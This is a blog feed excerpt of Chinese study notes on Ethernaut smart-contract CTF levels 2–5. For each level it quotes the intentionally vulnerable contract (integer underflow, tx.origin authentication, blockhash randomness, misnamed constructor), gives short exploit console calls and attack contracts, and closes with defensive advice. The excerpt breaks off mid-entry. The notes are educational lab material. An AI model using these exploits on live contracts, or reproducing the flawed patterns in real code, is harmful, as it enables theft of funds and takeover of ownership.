<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 5 - Token</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>让玩家持有的 Token 数量超过初始 20。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>无符号整数下溢</li><li>Solidity 0.6 算术行为</li><li>余额检查顺序</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.6</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Token</span> {</span><br><span class="line"></span><br><span class="line"> <span class="title function_">mapping</span>(<span class="function"><span class="params">address</span> =></span> uint) balances;</span><br><span class="line"> uint public totalSupply;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">uint _initialSupply</span>) public {</span><br><span class="line"> balances[msg.<span class="property">sender</span>] = totalSupply = _initialSupply;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">transfer</span>(<span class="params">address _to, uint _value</span>) public <span class="title function_">returns</span> (bool) {</span><br><span class="line"> <span class="built_in">require</span>(balances[msg.<span class="property">sender</span>] - _value >= <span class="number">0</span>);</span><br><span class="line"> balances[msg.<span class="property">sender</span>] -= _value;</span><br><span class="line"> balances[_to] += _value;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">balanceOf</span>(<span class="params">address _owner</span>) public view <span class="title function_">returns</span> (uint balance) {</span><br><span class="line"> <span class="keyword">return</span> balances[_owner];</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>漏洞在 <code>transfer</code> 的检查：<code>require(balances[msg.sender] - _value >= 0)</code>。</li><li><code>balances[msg.sender]</code> 是 <code>uint</code>，在 Solidity 0.6 中无下溢检查。当余额 20 转出 21 时，<code>20 - 21</code> 不会报错，而是回绕成一个极大的无符号整数。</li><li>无符号整数永远大于等于 0，所以 require 通过。随后 <code>balances[msg.sender] -= _value</code> 再次下溢，玩家余额变成极大值。</li><li>Solidity 0.8 默认会检查算术上下溢；旧版本必须用 SafeMath 或显式 <code>require(balance >= amount)</code>。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level05-token-underflow.png" alt="转出 21 个 token 后余额发生下溢回绕的记录。" ><figcaption>转出 21 个 token 后余额发生下溢回绕的记录。</figcaption></figure></p><p>图注：转出 21 个 token 后余额发生下溢回绕的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>初始余额为 20。</li><li><code>transfer</code> 里先检查 <code>balances[msg.sender] - value >= 0</code>，但无符号整数下溢后会变成极大值。</li><li>转出 21 个代币即可让余额回绕。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">balanceOf</span>(player)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">transfer</span>(instance, <span class="number">21</span>)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">balanceOf</span>(player)</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>查看初始余额：<code>balanceOf(player)</code> 应为 20。</li><li>调用 <code>transfer(instance, 21)</code>，转出比余额多 1 的数量。</li><li>再次查看余额，看到余额回绕为极大值。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：无符号整数永远不小于 0，配合旧编译器的回绕行为会让检查失效。</li><li>防御建议：使用 Solidity 0.8+ 或 SafeMath；扣减前显式检查 <code>balance >= amount</code>。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/ryKHlS34p" >https://hackmd.io/@0xbc000/ryKHlS34p<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 04：Telephone</title>
<link href="https://kylinxin.github.io/2026/05/05/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ATelephone/"/>
<id>https://kylinxin.github.io/2026/05/05/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2004%EF%BC%9ATelephone/</id>
<published>2026-05-05T01:00:00.000Z</published>
<updated>2026-05-05T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 4 - Telephone</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>利用 <code>tx.origin</code> 与 <code>msg.sender</code> 的差异接管 Telephone owner。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li><code>tx.origin</code> 与 <code>msg.sender</code> 区别</li><li>中间合约绕过</li><li>钓鱼式授权风险</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Telephone</span> {</span><br><span class="line"></span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">changeOwner</span>(<span class="params">address _owner</span>) public {</span><br><span class="line"> <span class="keyword">if</span> (tx.<span class="property">origin</span> != msg.<span class="property">sender</span>) {</span><br><span class="line"> owner = _owner;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>tx.origin</code> 是整笔交易最初的外部账户，<code>msg.sender</code> 是当前这一层调用的直接调用者。</li><li>如果玩家直接调用 <code>changeOwner</code>，两者相等，条件不成立。</li><li>如果玩家先调用攻击合约，再由攻击合约调用 Telephone，那么 Telephone 中看到的 <code>tx.origin</code> 是玩家，<code>msg.sender</code> 是攻击合约，条件成立。</li><li>这类模式在真实合约中很危险，因为用户可能被诱导调用恶意合约，恶意合约再拿用户的 <code>tx.origin</code> 去通过受害合约鉴权。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level04-telephone-owner.png" alt="通过中间合约调用后 owner 被替换的记录。" ><figcaption>通过中间合约调用后 owner 被替换的记录。</figcaption></figure></p><p>图注：通过中间合约调用后 owner 被替换的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>部署中间攻击合约。</li><li>用钱包调用攻击合约；此时目标合约看到的 <code>msg.sender</code> 是攻击合约，<code>tx.origin</code> 是玩家。</li><li>攻击合约再调用目标的 <code>changeOwner(player)</code>。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">interface <span class="title class_">ITelephone</span> {</span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">changeOwner</span>(<span class="params">address newOwner</span>) external;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">TelephoneAttack</span> {</span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">attack</span>(<span class="params">address instance, address player</span>) external {</span><br><span class="line"> <span class="title class_">ITelephone</span>(instance).<span class="title function_">changeOwner</span>(player);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>部署一个中间攻击合约。</li><li>攻击合约中调用 <code>Telephone(instance).changeOwner(player)</code>。</li><li>用玩家钱包调用攻击合约，而不是直接调用 Telephone。</li><li>确认 <code>owner()</code> 变成玩家地址并提交。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：<code>tx.origin</code> 用于鉴权会产生钓鱼攻击面。</li><li>防御建议：权限判断使用 <code>msg.sender</code>，复杂授权使用签名、角色或明确的访问控制模块。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/HkI4o9o46" >https://hackmd.io/@0xbc000/HkI4o9o46<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 03：Coin Flip</title>
<link href="https://kylinxin.github.io/2026/05/04/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ACoin%20Flip/"/>
<id>https://kylinxin.github.io/2026/05/04/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ACoin%20Flip/</id>
<published>2026-05-04T01:00:00.000Z</published>
<updated>2026-05-04T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 3 - Coin Flip</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>连续猜中 10 次 CoinFlip 的结果。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>伪随机数可预测</li><li>区块哈希读取</li><li>同交易复现目标计算</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">CoinFlip</span> {</span><br><span class="line"></span><br><span class="line"> uint256 public consecutiveWins;</span><br><span class="line"> uint256 lastHash;</span><br><span class="line"> uint256 <span class="variable constant_">FACTOR</span> = <span class="number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) {</span><br><span class="line"> consecutiveWins = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">flip</span>(<span class="params">bool _guess</span>) public <span class="title function_">returns</span> (bool) {</span><br><span class="line"> uint256 blockValue = <span class="title function_">uint256</span>(<span class="title function_">blockhash</span>(block.<span class="property">number</span> - <span class="number">1</span>));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (lastHash == blockValue) {</span><br><span class="line"> <span class="title function_">revert</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> lastHash = blockValue;</span><br><span class="line"> uint256 coinFlip = blockValue / <span class="variable constant_">FACTOR</span>;</span><br><span class="line"> bool side = coinFlip == <span class="number">1</span> ? <span class="literal">true</span> : <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (side == _guess) {</span><br><span class="line"> consecutiveWins++;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> consecutiveWins = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>合约把 <code>blockhash(block.number - 1)</code> 转成整数，再除以固定 <code>FACTOR</code>，得到 0 或 1。这个结果对链上所有合约都是公开可计算的。</li><li>攻击合约与目标合约在同一笔交易中读取同一个上一块区块哈希，因此可以先在攻击合约中复现同样公式，再把答案传给 <code>flip</code>。</li><li><code>lastHash</code> 会阻止同一区块重复调用，所以不能在一个区块内循环刷 10 次；需要等待新区块后多次执行攻击函数。</li><li>这关考察的是链上伪随机数问题：矿工、验证者、合约调用者都可能预测或影响简单链上随机源。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>阅读合约可知结果由上一块区块哈希除以固定因子得到。</li><li>部署攻击合约，在同一交易内复现目标合约的计算。</li><li>把计算出的布尔值传给 <code>flip</code>，每个新区块调用一次，累计 10 次。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">interface <span class="title class_">ICoinFlip</span> {</span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">flip</span>(<span class="params">bool guess</span>) external <span class="title function_">returns</span> (bool);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">CoinFlipAttack</span> {</span><br><span class="line"> uint256 constant <span class="variable constant_">FACTOR</span> =</span><br><span class="line"> <span class="number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>;</span><br><span class="line"> <span class="title class_">ICoinFlip</span> target;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address instance</span>) {</span><br><span class="line"> target = <span class="title class_">ICoinFlip</span>(instance);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">attack</span>(<span class="params"></span>) external {</span><br><span class="line"> uint256 v = <span class="title function_">uint256</span>(<span class="title function_">blockhash</span>(block.<span class="property">number</span> - <span class="number">1</span>)) / <span class="variable constant_">FACTOR</span>;</span><br><span class="line"> target.<span class="title function_">flip</span>(v == <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>部署攻击合约，保存目标实例地址。</li><li>攻击函数中计算 <code>uint256(blockhash(block.number - 1)) / FACTOR</code>。</li><li>把计算得到的布尔值传给目标 <code>flip(guess)</code>。</li><li>跨 10 个新区块重复调用，直到 <code>consecutiveWins()</code> 为 10。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：如果攻击合约和目标合约在同一交易中读取相同区块数据，攻击者就能得到同一个“随机”结果。</li><li>防御建议：使用 commit-reveal、VRF 或可信随机数预言机；不要把可公开计算的链上数据当随机源。</li><li>拓展：生产环境随机数可以考虑 commit-reveal、VRF 或可信随机数预言机，不能只取区块哈希。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/SyLFCqoNp" >https://hackmd.io/@0xbc000/SyLFCqoNp<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 02：Fallout</title>
<link href="https://kylinxin.github.io/2026/05/03/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AFallout/"/>
<id>https://kylinxin.github.io/2026/05/03/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AFallout/</id>
<published>2026-05-03T01:00:00.000Z</published>
<updated>2026-05-03T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 2 - Fallout</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>利用构造函数拼写错误，获得 Fallout 合约 owner。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>构造函数历史写法</li><li>函数名拼写错误</li><li>public 初始化函数风险</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.6</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">'openzeppelin-contracts-06/math/SafeMath.sol'</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Fallout</span> {</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">using</span> <span class="title class_">SafeMath</span> <span class="keyword">for</span> uint256;</span><br><span class="line"> <span class="title function_">mapping</span> (<span class="function"><span class="params">address</span> =></span> uint) allocations;</span><br><span class="line"> address payable public owner;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* constructor */</span></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">Fal1out</span>(<span class="params"></span>) public payable {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> allocations[owner] = msg.<span class="property">value</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> modifier onlyOwner {</span><br><span class="line"> <span class="built_in">require</span>(</span><br><span class="line"> msg.<span class="property">sender</span> == owner,</span><br><span class="line"> <span class="string">"caller is not the owner"</span></span><br><span class="line"> );</span><br><span class="line"> _;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">allocate</span>(<span class="params"></span>) public payable {</span><br><span class="line"> allocations[msg.<span class="property">sender</span>] = allocations[msg.<span class="property">sender</span>].<span class="title function_">add</span>(msg.<span class="property">value</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">sendAllocation</span>(<span class="params">address payable allocator</span>) public {</span><br><span class="line"> <span class="built_in">require</span>(allocations[allocator] > <span class="number">0</span>);</span><br><span class="line"> allocator.<span class="title function_">transfer</span>(allocations[allocator]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">collectAllocations</span>(<span class="params"></span>) public onlyOwner {</span><br><span class="line"> msg.<span class="property">sender</span>.<span class="title function_">transfer</span>(<span class="title function_">address</span>(<span class="variable language_">this</span>).<span class="property">balance</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">allocatorBalance</span>(<span class="params">address allocator</span>) public view <span class="title function_">returns</span> (uint) {</span><br><span class="line"> <span class="keyword">return</span> allocations[allocator];</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>Solidity 0.6 已经支持 <code>constructor</code> 关键字，但这份代码保留了旧式注释 <code>/* constructor */</code>，函数名却写成 <code>Fal1out</code>。</li><li><code>Fallout</code> 中第二个字符应该是字母 <code>l</code>，源码里 <code>Fal1out</code> 使用了数字 <code>1</code>，因此它不是构造函数，而是一个普通的 <code>public payable</code> 函数。</li><li>普通外部用户可以直接调用这个函数，函数内部把 <code>owner = msg.sender</code>，所以 owner 会被调用者接管。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level02-fallout-owner.png" alt="调用误写初始化函数后 owner 变化的记录。" ><figcaption>调用误写初始化函数后 owner 变化的记录。</figcaption></figure></p><p>图注：调用误写初始化函数后 owner 变化的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>观察源码中 <code>Fal1out</code> 使用数字 1，而不是合约名里的字母 l。</li><li>该函数是 public，任何地址都能调用。</li><li>发送一笔很小金额调用 <code>Fal1out()</code>，触发 owner 赋值。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title class_">Fal1</span>out({ <span class="attr">value</span>: <span class="title function_">toWei</span>(<span class="string">"0.000001"</span>) })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" 